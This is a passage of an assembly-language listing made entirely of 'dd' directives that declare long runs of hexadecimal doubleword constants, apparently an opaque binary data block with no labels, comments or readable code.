		dd 4E740EBh, 2D0F4071h,	328E48F9h, 0C420B1B1h, 0AC409C41h
		dd 127164F3h, 0A907E0F8h, 0C36BCD3Ah, 0B53B26C9h, 627CA7E2h
		dd 24646671h, 9D4AC6ABh, 0E116D3E5h, 0D4222C23h, 0CDF40DAh
		dd 0BAF290B7h, 7A7716D7h, 70B30062h, 155E376h, 536CE7B0h
		dd 9B5F9B53h, 47C7031Eh, 0D0D8D420h, 7777314Ch,	0B2C7149Dh
		dd 9A6812EFh, 0E5DAF84Ah, 0C8E25409h, 9DAF0FACh, 603BE390h
		dd 4A3C06B9h, 7F1208F2h, 3C60A020h, 246C5E41h, 3D756103h
		dd 0B325C601h, 0D65A1458h, 4002290Ch, 0A858A40Eh, 0E93E1461h
		dd 25A81AF9h, 20AC2530h, 39420579h, 2552CBFAh, 3642BAA0h
		dd 6596736Ch, 9158D902h, 0E9375273h, 2D604547h,	2445564Fh
		dd 2030F129h, 0D35E5308h, 0B0616F62h, 26BCAC0Ah, 0BB9E2FC6h
		dd 47175544h, 181002FAh, 0B0E077FBh, 626F5FC5h,	0D0A380DEh
		dd 5C09F94Ah, 0ED0013DDh, 6D5A4880h, 839FE8E9h,	0B9CE214Ch
		dd 606B36FBh, 4C0EC792h, 0E56DEE26h, 8A0723Ch, 374AF1E9h
		dd 5450A631h, 0C909C060h, 8082CEE3h, 0A3847E9Ah, 7BC6B2FAh
		dd 84973CF2h, 7B875760h, 8B4C54B9h, 0A3B1544Bh,	96A3BE93h
		dd 12A251D3h, 0D20EF292h, 57EBB207h, 0E1E918E1h, 2D1E7E2Ch
		dd 6BB08142h, 0FC0ED905h, 0F00C2910h, 0B7D8E953h, 5AD50028h
		dd 0FE78ED80h, 0DD77F6C5h, 2086F500h, 0B05059EEh, 0B9E91668h
		dd 51D18C62h, 2FF9EE9Dh, 0B5C6697Fh, 7BA36819h,	9D351BCBh
		dd 334C422Ch, 4190CD20h, 67119613h, 16F3C400h, 0A04C1D09h
		dd 14570DE9h, 0E3294DDBh, 0C1409F48h, 9EB8BF49h, 5BF5FFEh
		dd 99F8871Dh, 88AB0FC5h, 0AE44FE6Bh, 375E4A55h,	1BD9BB3Dh
		dd 6F095D92h, 5837A6C3h, 8669D17h, 0B5C098h, 0F3EE80CCh
		dd 75E67528h, 60A2FAC6h, 0DBC7D7BFh, 62094F0Fh,	25FF989h
		dd 14A8B00h, 663A7768h,	599812EEh, 15B0C913h, 177418D5h
		dd 715C0C36h, 284B6024h, 0E9213E12h, 2CF14C8Ah,	49400C84h
		dd 2B89C1D5h, 0B8228001h, 7931429h, 79820F05h, 0D8A513FEh
		dd 0A707102Dh, 8712C949h, 58A6A335h, 200F0D8Dh,	1F7E9E41h
		dd 65B14179h, 20011A4Ah, 8A1E9DCh, 775E3F5Eh, 0DF31C08Ch
		dd 7D7A5D0Ch, 17493F80h, 8F2EE91Ah, 57923E13h, 130F5914h
		dd 0FD016A37h, 69407E97h, 17A46E30h, 53621D27h,	44D001F3h
		dd 80724A2Dh, 0B62AE70Ch, 5B7BE93Fh, 54CAD3E6h,	0EE7D77FEh
		dd 953D7826h, 0BCE492BEh, 7E50E4B3h, 6CEE8228h,	9DE04220h
		dd 66A8872Fh, 0C145802Fh
		dd 959317B3h, 25B83F00h, 7809FD3Dh, 0E84458E9h,	81DFA355h
		dd 324E888h, 0F198667Fh, 1F0867Fh, 0D314E93Ah, 84844CFFh
		dd 0F11668FEh, 0FC6AE05Fh, 9B2763BBh, 0CEE19AC2h, 0B88A202Bh
		dd 86D6F60Ah, 661237F3h, 0EB02D233h, 5B17276Ch,	0C69D4878h
		dd 403B984Eh, 0F896581Fh, 2CC10243h, 10E05F5Ah,	0B5E34A60h
		dd 8134C14Eh, 911A75Fh,	22D98125h, 9FF86E1Ah, 0E0F1CA14h
		dd 259503FBh, 40E95EE8h, 84FB790Ah, 77AA6D6Ah, 3036B305h
		dd 61D47903h, 0DF493E86h, 0E111903Bh, 9BA84C68h, 93E35384h
		dd 0D14C8CF6h, 12977128h, 0B2937DB4h, 0A58CDEAh, 5E36BB00h
		dd 0E38179CFh, 0C0260ED0h, 6CBC133h, 50208E89h,	0B031498h
		dd 3D040CDDh, 40BE6E09h, 0BFEFEAAFh, 28B88015h,	8E685A1Fh
		dd 437D182Fh, 0C7F8F6EFh, 19E955EFh, 895B8CA2h,	0EF19ABD6h
		dd 2224F8F0h, 3B14B5F0h, 0BF1C6AF7h, 13BFA2Ah, 7924A4DAh
		dd 8FB25287h, 0ACD025F5h, 953C6856h, 6FBDDB18h,	799C5C00h
		dd 5302E5C1h, 56701EBBh, 6EAF23Dh, 6BC0CB60h, 43333026h
		dd 545FCC02h, 2338600Ch, 0AFB25C77h, 95E9DD1Ch,	29492D49h
		dd 1E4B9E49h, 0C2DA128Ah, 48FB50CEh, 62E2A53Eh,	0C96FDBDFh
		dd 99169C04h, 2B736513h, 4ECDF8D8h, 33BFF059h, 0C8227482h
		dd 135493C0h, 0D22083Ch, 44B9BA03h, 85F7BAD1h, 0B5F8EBA1h
		dd 8161645Eh, 24AF2E6Eh, 0B6610FC6h, 5D92688Ah,	0CE10883Bh
		dd 1971AB5Fh, 5B70C380h, 0ABCBEBEBh, 0ECA41566h, 97161C02h
		dd 4D50F309h, 866809ADh, 0E9C47164h, 0D8B3BBB8h, 20CAB8A9h
		dd 165A66C5h, 8320F88Eh, 0B411498h, 3792E8Bh, 545FE494h
		dd 632E2E8Dh, 0D408274h, 0F3419CF5h, 379BEA41h,	58C17BF4h
		dd 0B90F08E2h, 14427411h, 76E839E9h, 0B5EE62B2h, 8564F4Ah
		dd 77BF8F03h, 291CD321h, 1A42A90h, 721E49C3h, 5BD8FCB1h
		dd 0E9C00905h, 0D78CED19h, 0C6F09C5Ah, 0E89F3F0Bh, 0C00715EEh
		dd 62C5EA6Dh, 1286A7Ah,	8818BFAh, 3392585Fh, 41313ACCh
		dd 23085FFDh, 0D8045347h, 3CBE494Fh, 31B707EBh,	82D825C3h
		dd 2904BA1Eh, 0AE6FE0D3h, 49269A53h, 317D8CE7h,	0C6E5AAB8h
		dd 784EFC30h, 587D54B0h, 0EED1A783h, 6BEC2810h,	4DD67E01h
		dd 6809A2D5h, 0CB7431D3h, 12150663h, 6902BF1Bh,	0EF2C7E1Ah
		dd 5F68165Eh, 1183F30Ah, 0CD27DA9Dh, 0E427A196h, 2016666Bh
		dd 5D5F4ED9h, 1348ADDAh, 2A211D27h, 6006081Fh, 1E9A64DFh
		dd 28FB3139h, 0EA98A6DFh, 0A0A5E248h, 4B0F6855h, 40D68C6Dh
		dd 1E0FE3F2h, 25DB2548h, 5F04746h, 41380305h, 0F6351D32h
		dd 0E0BC7B9Bh, 985541h,	0F12E6020h, 4820DC70h, 0F01DEA04h
		dd 539B2D2Ch, 9BD0E883h, 3A4BA6E9h, 89A8A134h, 1210C78Fh
		dd 3E5DDBE9h, 61A9C84Ah, 6CAF50C4h, 0EC61E940h,	179E68DFh
		dd 0B09F5396h, 0D13CF610h, 985A3980h, 3F0CBEE1h, 9DF89020h
		dd 306F34C0h, 12EBFA58h, 8E3CD188h, 54F7CB09h, 0A6932916h
		dd 770B4B26h, 0A968904Ah, 0C04C83FBh, 0B02A20D0h, 27326907h
		dd 5AFCF303h, 18EAC100h, 0B85E77EDh, 12E71617h,	2460BC88h
		dd 61824050h, 4557EF05h, 9BF0AF30h, 2BE65001h, 4F02EFC1h
		dd 52527131h, 1470F4F7h, 0C94AA01h, 9C719500h, 0BBE95D64h
		dd 294CD49Ah, 0B2562D19h, 0F08652C2h, 95A5FFDEh, 0E92DE294h
		dd 31DD00D8h, 0C0558C6h, 48E44B0Fh, 7A12D32h, 2466BC5Eh
		dd 7D1759E0h, 0EAC4D6D4h, 0F45AB092h, 223C747h,	247461F8h
		dd 796D14h, 0E60EE403h,	0E75FFA31h, 0A5D0047Bh,	9921DA8h
		dd 6885EEBDh, 4CE1F4D8h, 0E8234897h, 5B82B55Dh,	6CBAF029h
		dd 7068AF81h, 0CD3D2C42h, 0C2F41F2Ch, 2B09353h,	0F8B3C10h
		dd 0C8902FF8h, 0B156B702h, 6A76E938h, 57AD5513h, 43693409h
		dd 67532162h, 0B3BEC3Ah, 66787119h, 805D7284h, 9938FE3Ah
		dd 34E0764Fh, 71557BE9h, 0CF29247Dh, 0F5505A0Fh, 0DFF73131h
		dd 0A5348FE9h, 0F0ED7F80h, 9AC85598h, 0C1F03BF8h, 80D5F60Ch
		dd 0EC28F4C5h, 989AA2F8h, 0C2022C2Fh, 888D79E4h, 0E0A50A38h
		dd 27575319h, 1D484752h, 6A1A1131h, 7C11013Ch, 995E452Ch
		dd 678D6E24h, 0CE496209h, 0B6A4F33Ch, 0C2F24AA7h, 2B65B880h
		dd 480C08AFh, 0F60BD55h, 7414EE9h, 72535CA6h, 3F68B75Dh
		dd 5A123CCEh, 9D1F6B71h, 716DB15Ch, 0A7748D2Ch,	39043010h
		dd 56466054h, 3F02BE7Ah, 0EAE91C4Dh, 941A7648h,	4E20A106h
		dd 34C28018h, 4C082506h, 0E2B72CD5h, 2863A4E5h,	0B36802E4h
		dd 2F20CC28h, 0F2E8B501h, 0AB754ED6h, 5B767F6h,	2C8E5495h
		dd 0A669DD4Ah, 0BCE87472h, 353B52A7h, 804EF647h, 0C9FE0820h
		dd 12690FF4h, 936B0589h, 283BB0B1h, 0F44038A7h,	247509BBh
		dd 530546C0h, 0C85BA9D6h, 6311B33h, 0C1420C40h,	612E83Eh
		dd 4D65E9C8h, 55661C2Ch, 8FBAC752h, 39897509h, 2029F19Eh
		dd 5DEA0232h, 9B423CEFh, 3EA66612h, 0EE1E0C5Fh,	31D6DB28h
		dd 0F3D38BB9h, 0BE6605C5h, 6827720h, 2DBF003Bh,	254E58F8h
		dd 0FD23CC6h, 5C3171ECh, 0EB0ACB2Fh, 51590C08h,	659518FCh
		dd 5A520866h, 17D25816h, 0F8B2504Dh, 0B4500053h, 8042B3B2h
		dd 281C92EBh, 27E9E3h, 638D2DCBh, 0F754004Eh, 7DB735D8h
		dd 0FE9CBFC5h, 0F90C122Dh, 0DF6C6945h, 5ACC2D54h, 0D3168996h
		dd 7A73E0B3h, 6442CE1h,	0AD669F6Dh, 0A5EF0F22h,	42EF907Fh
		dd 816500D3h, 0A3190F2h, 9B32E911h, 0F05B22EFh,	6E1B0954h
		dd 0E1D879C6h, 63095E90h, 810B6A6Dh, 2A806866h,	46027E36h
		dd 930836Eh, 0D73C10C1h, 0FB9C158h, 85E8FD89h, 8953D266h
		dd 7FE17125h, 5010E97Ch, 51BB02F3h, 896FD438h, 0D15EE8D7h
		dd 0C7D7A0E3h, 0CEA90961h, 20E07AE9h, 0F90CB850h, 641FCA2Eh
		dd 1EE0B117h, 122335A6h, 996CF983h, 43AA1072h, 41D8CC65h
		dd 0AC041AB2h, 4F89A9A5h, 25ED5AB5h, 9586B7B0h,	0A65B08D4h
		dd 1B0908A0h, 1A4B5EF3h, 0FBE43C0h, 0C37480B7h,	60BF3C53h
		dd 3FA01C6Bh, 12062CCh,	710882FBh, 0C188817Dh, 3DDC68h
		dd 0B7DDB6E9h, 41288939h, 0D7CAA7h, 1FF68059h, 423E2C4Ch
		dd 71B151F0h, 0B652AAE0h, 2A599158h, 204874CAh,	0A4E4840Bh
		dd 754BB00h, 96C0273Eh,	0E601382h, 33E125E9h, 0CE2686A2h
		dd 0B63DFAE5h, 9F38A937h, 0DFD2CACAh, 0C0A109BBh, 1481166Fh
		dd 0CA2AD988h, 0EEE9083Ah, 0B3241Ah, 82B252B0h,	347EB353h
		dd 0D1AA5C2Dh, 31272C6Fh, 31F801CDh, 53CE01B6h,	89833B29h
		dd 6E429881h, 0E9180C6Dh, 0C7B76034h, 651D9516h, 0B0322FF8h
		dd 2A40C543h, 0E5C4FEFh, 9B77C66h, 0BD2F4EE3h, 0F73B15C0h
		dd 8C83305Bh, 8201A281h, 9AE64B60h, 500969BCh, 0D66CA4F1h
		dd 0C694F25Ah, 3CF506A0h, 0A32429EEh, 0CAD9A58Bh, 5543AC21h
		dd 90BDAE9h, 68419C56h,	502A60B8h, 0A334A6A1h, 68358848h
		dd 753F7F32h, 44A6AF2Ah, 0BEB24B5Dh, 1D12F658h,	77B327C9h
		dd 0D028350Ah, 0E64081Eh, 296F4EECh, 0C6C8A11h,	42FB5844h
		dd 67D4E954h, 0D0090964h, 7E207563h, 0B9C0B0Dh,	8A483AD9h
		dd 0A0AF8DC2h, 19E4EEC0h, 11D2614h, 0C7370C02h,	6A9FC31Bh
		dd 13B58B5Eh, 0D0B606E5h, 0BE0AD111h, 0E125F1B6h, 0FC280E6Eh
		dd 0F4E75558h, 8EC4E1CCh, 2611F150h, 5E765253h,	0E940D159h
		dd 0AD027A15h, 60387A29h, 82D8423Ah, 59C4987Eh,	0AD357AA8h
		dd 0AC49131Ch, 0D2EC935Eh, 0E6421188h, 0E46604B6h, 0DC40545Ch
		dd 75C82A68h, 0A431208Ch
		dd 4BCE39Dh, 166FECECh,	4895BC35h, 0F31233FCh, 5088BBD2h
		dd 1E3B5C73h, 0C915F2E3h, 16FE164Ch, 0C7BA6664h, 0D18D6C93h
		dd 803BA258h, 14852DF8h, 7F7577CEh, 0BAF55D10h,	9F15F27h
		dd 927B8967h, 8285DF54h, 5BC249B8h, 7942D30Eh, 5DF63D03h
		dd 587CF700h, 4AE90D89h, 48C080F9h, 0F30B9D05h,	60096E6Dh
		dd 0B8FAEABEh, 1A12DA9h, 0F9256BD1h, 0F0E64B04h, 0C0255C77h
		dd 840DF102h, 0FD45AFE9h, 77B90004h, 0C15F536Fh, 940361EFh
		dd 2586E94Fh, 569504C1h, 0BB91A85h, 47D5B4Ah, 804109BEh
		dd 6B28F1F2h, 2C021A8Bh, 57CE92Bh, 6F29D2C8h, 0E462AAB7h
		dd 2D8F3E15h, 5D9A50B4h, 5210262Fh, 19AD3BD2h, 3124585Fh
		dd 0DC398747h, 4BC5001Bh, 0E9897263h, 2462920h,	0F3D00EBDh
		dd 0B0DF312Fh, 9D06E96Ah, 0A233C684h, 5F2109E4h, 49F4641Ch
		dd 0F7003A67h, 7EEC1D6h, 68015350h, 6F5D36B7h, 0E9C4435Bh
		dd 19969214h, 0B801C380h, 4C3E6093h, 83F32829h,	488AE962h
		dd 2C09351Bh, 136817BDh, 44F8E186h, 0D30FE840h,	885A6802h
		dd 0EAAE81CAh, 0A3316601h, 0C3A4D0F5h, 0B9028871h, 0BA95591Fh
		dd 8DBE24D0h, 0C000B516h, 0C250C4EEh, 0ACEEC52h, 3A424E91h
		dd 67032797h, 6EBAFE89h, 0AD96AB58h, 0B632646Fh, 0F9319FC9h
		dd 951FD9E4h, 0C72CEFE6h, 54740FAh, 67A5610h, 0D68145Fh
		dd 8B84156Ch, 82340BECh, 9AAA7FAEh, 8CCC78C4h, 0A084CCAh
		dd 0EFA10D84h, 54293B71h, 0EFAF843Bh, 0EFD4FF21h, 7C7A53ADh
		dd 0C44AC758h, 1BE2DBCDh, 0C0D30F77h, 0ACAA06E5h, 565A8EF7h
		dd 0B24977E4h, 0B85E35E8h, 1E88D9A1h, 0BB000815h, 54D835FDh
		dd 5BDD0031h, 2BCD8145h, 6ECB472Fh, 4FBF6011h, 0F7FD0287h
		dd 65DA68D5h, 326061FCh, 12337519h, 0B5EBE95Ah,	0DC3BD830h
		dd 582F6D2Dh, 9F56FCB5h, 8ED0E6ABh, 47502B2Fh, 0D22E3FF0h
		dd 0FCC24057h, 1909F970h, 8006E2C1h, 0A9D5451Fh, 168974E0h
		dd 0E7F799E9h, 7914897h, 508377D2h, 0BBD5EFBh, 0ACDE1675h
		dd 11C84263h, 1602C439h, 0DEACC330h, 0D4B5945Eh, 77680D7h
		dd 5EB87A53h, 4CE32020h, 24201C61h, 0D7215C4Ah,	5A00A018h
		dd 22020C05h, 0E8011F64h, 6507892Dh, 0E356160Ch, 0C689024Ch
		dd 55574DE9h, 0CA160DA2h, 0E19837C4h, 3D740C1h,	762C2E39h
		dd 0F275A1D2h, 754F0922h, 3020571Ah, 0FD015EF7h, 9F1C90h
		dd 566852B8h, 5C6C3D31h, 50C59BB3h, 0BE741AD8h,	65587226h
		dd 5F4002Dh, 3C276A94h,	7CA56851h, 1901A866h, 0E930285Ch
		dd 0AB24E001h, 55B03D8h, 13B849BAh, 3E1E93E9h, 4F55E0D8h
		dd 540C8C32h, 0F59A115Fh, 45DFF917h, 8559CFACh,	4136123Eh
		dd 0B397C70Fh, 0EFB7303Dh, 4B340A52h, 0FF4841CAh, 4EB46B7Bh
		dd 41529454h, 992F023Ch, 6C203AE1h, 0B6EB2810h,	0FD5B2FB7h
		dd 0D6DA8D8Bh, 41407AE0h, 3ABC49DEh, 0EC680586h, 45952016h
		dd 14BD5505h, 1EFA5906h, 0C1D27Ah, 0ECF581F4h, 64768756h
		dd 2A1F28F2h, 0ED0E27A1h, 521E524h, 0BE8524EAh,	62BF3E75h
		dd 2A480D8Fh, 0D52E6866h, 3062570Ch, 47947755h,	0D3FCED76h
		dd 822A57F3h, 374836F0h, 5BCF2096h, 4E707097h, 7DCFE3F4h
		dd 9D165A4Fh, 24D565A0h, 1683B72h, 5156DEF7h, 0FAE0406Dh
		dd 0BA5EACDBh, 0C12BC2B1h, 5528493h, 407ABCA1h,	0AE9F927Fh
		dd 0F90829AAh, 14033E9h, 51BD6655h, 0F14DD121h,	283E3505h
		dd 0F05F7BF8h, 0E80061B6h, 68C83110h, 6AB405BAh, 0EE95341h
		dd 55D3D92h, 4B1D7C15h,	8000C087h, 78B7405Bh, 56008FB8h
		dd 1B0FE7BEh, 58C68342h, 482F4F01h, 1856D192h, 0D3512089h
		dd 5FF98B13h, 126D90DEh, 3FF55A3Ah, 4CDF9655h, 1D843BD2h
		dd 249BA927h, 5F963E14h, 0D8A168FDh, 742002ABh,	73F50FB0h
		dd 0A4499C65h, 72F007A6h, 0AD8B659Ch, 9ACF449Dh, 4E74F672h
		dd 90F1B45Bh, 394961F2h, 10257E55h, 0C3F96A17h,	0D9BCE32Fh
		dd 5E6F9F59h, 6BAE647Ch, 0DF220323h, 0E05F6751h, 61C0133Ah
		dd 923E39F6h, 4893A02Ch, 73442417h, 52110623h, 0BA1E6883h
		dd 0BE42BC58h, 1F288E9h, 6042D2F7h, 0D91D4C1Ch,	0EF9DB120h
		dd 3C09341Ch, 0C7240501h, 0EF10817h, 9421C20Dh,	66CB2C6Bh
		dd 16BD2152h, 0FCBC9D20h, 8F7028C9h, 12F03692h,	3125FC9Eh
		dd 992E2DFCh, 0F3FE423Dh, 3496959h, 92E38887h, 45FC5EDDh
		dd 0C5D9D1BDh, 19172EE7h, 0C021E38Eh, 7AB26885h, 14C40899h
		dd 0BF7548D2h, 7F65526h, 59B1353Bh, 0E950D07Eh,	0E031BAB3h
		dd 0FA2BFED0h, 321D9008h, 7106F0C3h, 48C2FA5Eh,	1A25FF2Fh
		dd 761AA2EFh, 4D930558h, 0F88A5A4Eh, 20DDC144h,	0E91355F6h
		dd 0F9904D94h, 24E2469Eh, 0B29A5937h, 0B77332Eh, 25C1CE82h
		dd 0E88366E9h, 0C88061B1h, 0B97C0459h, 5B39E325h, 51ADBD72h
		dd 7B682460h, 2920524Eh, 2E33B050h, 101C74B5h, 0A93C5ACBh
		dd 51EA27E9h, 0C28083EAh, 7CB96111h, 0B34BDA13h, 0B050BDECh
		dd 9409503h, 0F19864ACh, 4B36E925h, 59D1B5CDh, 488E5E60h
		dd 5A8034ECh, 3504E0C1h, 34EC40Ch, 49E94FA5h, 0BA1CB649h
		dd 2F434F78h, 5706EA80h, 0F2342068h, 28BF8A42h,	3CE1E92Ah
		dd 0EAB75E73h, 209502Eh, 2FF37B2Dh, 0BEE285C0h,	2B4E1616h
		dd 0F02A5E8h, 13E950A7h, 0D594DD50h, 0FBA19AA2h, 2A67FDFBh
		dd 0C7090107h, 5CB1F674h, 0B325D02Bh, 845B0843h, 0CBCEA71Ch
		dd 0DBC3C959h, 16E98927h, 1C687A21h, 5B313A5Eh,	0CD8C36A8h
		dd 5A0A2243h, 387CC09Fh, 1CC93E06h, 0D2C8A792h,	7587FC1h
		dd 0B753510Fh, 547BE409h, 0EA2D0112h, 0ED7CE03Dh, 4CEE286Dh
		dd 52B50A8h, 573B5C1Eh,	30259FA4h, 9A2938C8h, 0E4DE80BFh
		dd 51F13807h, 0BF4461DEh, 229D2E18h, 2A75CD3Eh,	954835B3h
		dd 0D0F99D27h, 0FBE17996h, 0E6D79A6Ch, 2A61DBA4h, 58249B8Eh
		dd 0A3246B58h, 69F540A9h, 0A9BF87C9h, 0E247C20Eh, 4BB881D3h
		dd 0C26A1268h, 700B5567h, 907D3C5h, 0A6C4C9F6h,	0FE871AB7h
		dd 0A0FBEB7Fh, 11D3EF00h, 0EC01691Ch, 74B90751h, 0E07BF112h
		dd 4103A0E1h, 7727B9B0h, 0E45AE8E8h, 0D4D77D6Ch, 0C74DEF6Dh
		dd 143B074h, 54B353D8h,	0FD3CCB80h, 51126F4Dh, 27E98A6Ch
		dd 0C4C95AD9h, 4C686C6Ch, 11BF00F5h, 31481A78h,	7C42B8FDh
		dd 2F3996EAh, 7AB47D5Ah, 0C81E6C52h, 80024650h,	0C35978C7h
		dd 96AA480Ch, 12737338h, 0C8566968h, 0C2D251A7h, 9B03509h
		dd 581BC02Ah, 39022468h, 0D9026B7Ah, 0C80C3A2Bh, 7EB60252h
		dd 0EE80E6D0h, 401F1E60h, 31045395h, 0FC97B138h, 58B1D95Eh
		dd 5B2F79BFh, 2B0F3AB2h, 0E96DC01Dh, 0C8EB4EB5h, 517B0233h
		dd 72F45960h, 956D8B43h, 0C10E0C7Ah, 876EE42Fh,	679E03E6h
		dd 37066322h, 621C381Eh, 59D81427h, 426BE925h, 0B095DFBAh
		dd 9969E986h, 6D296086h, 272C765Bh, 32E42AE9h, 680408C3h
		dd 0E905638Eh, 75AE5619h, 0E40A03Dh, 90A93749h,	5CB93988h
		dd 0BE1CD2C1h, 0C87A0828h, 0C6E9280Ah, 92A098B4h, 2E35D409h
		dd 5B082B26h, 0FFD1C972h, 81C38162h, 5332E922h,	0D96E5D2Fh
		dd 3FF9EDDCh, 0B3131ECBh, 0E02AC9DEh, 64969EC2h, 5A175AEAh
		dd 25E962F0h, 107932BBh, 3F153A88h, 0C22BF25Bh,	26FBE9h
		dd 9E5B07BEh, 0D25D607Ah, 70542537h, 9799B8D2h,	3FC198C1h
		dd 5C36AC21h, 0B693A52Ch, 0BC82F0Bh, 445B4ECAh,	28529814h
		dd 0E8B21754h, 5224BCB2h, 91A10C3h, 0F5D6B2Dh, 6DF454Bh
		dd 8B80EF24h, 6AB23FD8h
		dd 0CE30C4Dh, 53C1895h,	6231074Bh, 69125766h, 95BE4371h
		dd 9443B8Bh, 714D1668h,	982289C8h, 728E3A56h, 81746067h
		dd 1308D5E3h, 1C4B71FEh, 53332461h, 3EC584D9h, 0A9B575D5h
		dd 2DD64B28h, 288A2BC1h, 804BE916h, 7BD13564h, 0C8327A24h
		dd 0A7D42102h, 92274EFh, 7EE046E9h, 0AAF4D0B8h,	2EBE3700h
		dd 296A2A7Bh, 7A587DC6h, 1A03544Dh, 55524095h, 42286807h
		dd 92B57166h, 0A5D440A1h, 0BF0AC197h, 6E9E7ECAh, 0A9082512h
		dd 4DE02738h, 2095DBF7h, 68F6EAA6h, 9D73B2D7h, 0B2AFD184h
		dd 0A8A25A2Ah, 9D598F40h, 33580B26h, 0B011E695h, 0E070941h
		dd 99F268D4h, 6F5F0881h, 76059749h, 56E985C4h, 0AB38BAB1h
		dd 4D2901BEh, 0F731D4A3h, 0B55EEE9h, 4EF9C439h,	105CF254h
		dd 2D01204Bh, 8682E7Ah,	32D57F05h, 2EC3C108h, 6F84520Ch
		dd 9707453Ch, 0B0A799DDh, 7CD33E19h, 6713D2A8h,	98B90062h
		dd 587EB84h, 13E796Ch, 8B410CBh, 16CE592Eh, 961DD228h
		dd 94E78100h, 984B673h,	685E2551h, 9B5AD763h, 5614EA3Ah
		dd 0C05613AFh, 0EE4DEA5Eh, 14E1654Bh, 5B5E0701h, 87DF516Ch
		dd 353515CFh, 511C35Ah,	1EE02E07h, 59701831h, 2616D938h
		dd 81005CE9h, 0FE4F2168h, 0F850303Eh, 0C9A7D560h, 481B0536h
		dd 0AA2F4667h, 0F0F0F0C4h, 28168CBEh, 5203EFB0h, 81D6EEA3h
		dd 692C7D50h, 3A84A124h, 1EEA8C2Bh, 8800D696h, 0C4FE5BDCh
		dd 980AE480h, 85494F1Bh, 9272F228h, 0B4240EEFh,	4721EB63h
		dd 7D4FF403h, 0B2C117C9h, 924C008h, 3ADD006Bh, 0B653540h
		dd 3AF53CE0h, 9C02B4C1h, 0C15D7896h, 0BC6BACB3h, 71AE25A3h
		dd 0B26CB761h, 9FA5BF23h, 2AF12177h, 0D70B8911h, 81AC1995h
		dd 7679A9FAh, 0F9C0B47Ah, 0EA627BE2h, 8FF83117h, 3E963FF1h
		dd 0F4299E09h, 4E08208Eh, 42E9B658h, 959D12CAh,	9F829B37h
		dd 26BAF2C8h, 38B5AD3h,	4E543A73h, 19FE72FAh, 94C8DD9Dh
		dd 0CAB703E7h, 0D4C91DB5h, 5EAC32B4h, 67B406D7h, 0CA296292h
		dd 0D7C0576Ah, 76257484h, 6E0B2260h, 29395F33h,	0CE0DF155h
		dd 0ABD026ECh, 4CE416A7h, 0F52DF122h, 0C57C332Ch, 68DF0202h
		dd 0D617BCE9h, 0B846969Bh, 0EB751357h, 959232D1h, 9C81DE44h
		dd 326AE768h, 0E7655A07h, 2E2C187h, 7327CA90h, 6A2D4CDBh
		dd 0F07FEB12h, 0F3A1D1B1h, 2D356E1Dh, 18D944ABh, 0C9FE0029h
		dd 2DAFF180h, 0DF68C828h, 28F5C0E9h, 0E70992F9h, 57F429B4h
		dd 0EC9D271Ch, 0E2AB2062h, 597AC9BEh, 7B5C477Dh, 0AE423A7Ch
		dd 0D029044Eh, 255EA7CCh, 0E25F382Dh, 0C2231C3Ch, 9478E98Dh
		dd 72760E4Ah, 0C915BD3Ch, 758E6026h, 0F8295913h, 2BD765C1h
		dd 723F0BFDh, 0F25D9AA7h, 0A05F08E5h, 0BAD7FCE6h, 1B81BD33h
		dd 6B5EF501h, 4E3E0123h, 607CE175h, 613954A0h, 0F2819C8Eh
		dd 42BDA341h, 97387DE9h, 5AD18802h, 0CDA9C830h,	0B6D7BDC2h
		dd 12AC9A11h, 0AE352E68h, 1701A22Ch, 404FE9F8h,	7B85B838h
		dd 2D376E1Eh, 57F50B83h, 27688FA0h, 0BEDB12E2h,	40FE6D0Eh
		dd 7ED5BD55h, 0E96C09B7h, 0FFFE48A9h, 241A5188h, 93C708B3h
		dd 8BCB870Fh, 3CC2E556h, 815934AFh, 8E2B656Bh, 0F1C3D6F7h
		dd 0D993CB31h, 0BD8C084Fh, 4144B056h, 0F10C8B58h, 50AC792Ah
		dd 0DA5C295Ch, 0D8834FFDh, 3239B151h, 232ABF76h, 0F9B516C7h
		dd 0D390F028h, 92F1D190h, 94FDEAF4h, 0A8CCD0Eh,	3B691A0Fh
		dd 9EAD23A6h, 0CC3C505Ah, 7D246168h, 6227F4E9h,	4D4901B8h
		dd 0D9015077h, 9F3F93F4h, 0A9BFA04Bh, 81453EA5h, 25A83519h
		dd 0A0F9785Ch, 0A606F268h, 9D7995E2h, 9D1ACE4Bh, 142D7545h
		dd 9DC79D15h, 59AF8B9Eh, 517EE9F6h, 8AF8FC7Ah, 0BC1943CEh
		dd 8B1E4915h, 8C06EB12h, 9A5F2FD3h, 20762944h, 4BB77E18h
		dd 0E92AFCE0h, 5B15FE22h, 12E3FF52h, 23A84720h,	63315981h
		dd 18197D1Eh, 0C11F52F1h, 967818D1h, 79B0C56h, 0AD0F312Ah
		dd 9168530Ch, 0B6429965h, 580828A5h, 3117B0E1h,	0F57F20C6h
		dd 732C703Bh, 2B0ED44Fh, 62710B38h, 4CFA4127h, 80CAC8FDh
		dd 2D118DB8h, 0BE560260h, 1BB26F59h, 5A03470h, 262F30A5h
		dd 9D78702Bh, 0E4E6D492h, 9667E59Dh, 867CE866h,	0BE349201h
		dd 557C2536h, 0BA3A8BA8h, 0E934845Dh, 0ECB4E737h, 52A3C6Dh
		dd 4EAC189h, 0E92C8B58h, 5E92BFB0h, 6A9A2DBFh, 97AFBACDh
		dd 0F6225D9h, 2002C4B3h, 0B9F091B6h, 4EF0C5A4h,	0CC208981h
		dd 301C4107h, 8AB4EFC4h, 964C56Fh, 75B15C94h, 897670D2h
		dd 52F95E08h, 82FA56F1h, 349B530h, 0F8C1CE05h, 9B102B50h
		dd 895D1307h, 42F8CF16h, 0A4515F87h, 57AFCE1h, 605D390Eh
		dd 5E0A5FC3h, 0C23B840Dh, 655D5AA7h, 0AFE909EDh, 82BAD840h
		dd 31B32A16h, 26F2C301h, 0A8DB3F9Ch, 2C972729h,	2DF34270h
		dd 0CB03E6FAh, 0E9925944h, 7A8E518Dh, 3D23189Fh, 14CCD219h
		dd 0D05B3050h, 7812940h, 7B4345CBh, 10F5B235h, 0B507E951h
		dd 6BA180DCh, 0E2ECDFEh, 5323E5EFh, 0CBE9BFB3h,	0CEF3E44Bh
		dd 0EB6AE926h, 0BCC3FE8Fh, 0EB44BC9Fh, 9BE28ACh, 606271C6h
		dd 0F4883C94h, 68735751h, 0B5B83070h, 3BABE620h, 63A5CD31h
		dd 6DD68831h, 5CC52514h, 12F6A16Dh, 0E927713Ch,	0FD02E16h
		dd 6E8659F4h, 0C2939052h, 31F75869h, 0F8517540h, 0FDC8F788h
		dd 0B05915Bh, 0E1903834h, 31481F53h, 713312F0h,	9CD0FEF8h
